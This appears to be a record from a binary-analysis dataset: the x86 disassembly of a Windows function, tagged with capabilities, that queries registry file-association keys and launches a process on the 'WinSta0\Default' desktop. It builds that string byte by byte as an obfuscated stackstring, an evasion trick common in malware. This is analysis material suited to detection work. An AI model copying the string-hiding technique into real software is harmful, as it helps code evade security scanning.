Function at 0x10006236
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
push edi
push 0x100015fc
push 0x100015ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
mov edi, eax
xor ebx, ebx
push esi
lea eax, [ebp - 0x170]
push ebx
push eax
mov dword [ebp - 0x18], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, ebx
je 0x1000630d
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push ebx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000630d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x170]
push eax
push ebx
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
push 0x1f4
lea eax, [ebp - 0x364]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x364]
push 0x100015d4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x364]
push ebx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10006314
xor al, al
jmp 0x10006434
push esi
lea eax, [ebp - 0x170]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
lea eax, [ebp - 0x170]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 4]
call edi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x170]
push 0x100015d0
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
jne 0x100063a5
lea eax, [ebp - 0x170]
push 0x100015cc
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
jne 0x100063a5
push 0x100015c0
push 0x1000146c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x170]
push 0x100015bc
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x170]
push eax
call esi
jmp 0x100063b0
push dword [ebp + 8]
push eax
call fcn.10006051
pop ecx
pop ecx
xor eax, eax
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x68]
mov byte [ebp - 0x14], 0x57
rep stosd dword es:[edi], eax
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0x5c
mov byte [ebp - 0xc], 0x44
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], bl
mov dword [ebp - 0x6c], 0x44
je 0x10006416
lea eax, [ebp - 0x14]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x170]
push ebx
push eax
push ebx
call fcn.10005aa0
add esp, 0x28
pop edi
pop esi
pop ebx
leave
ret 8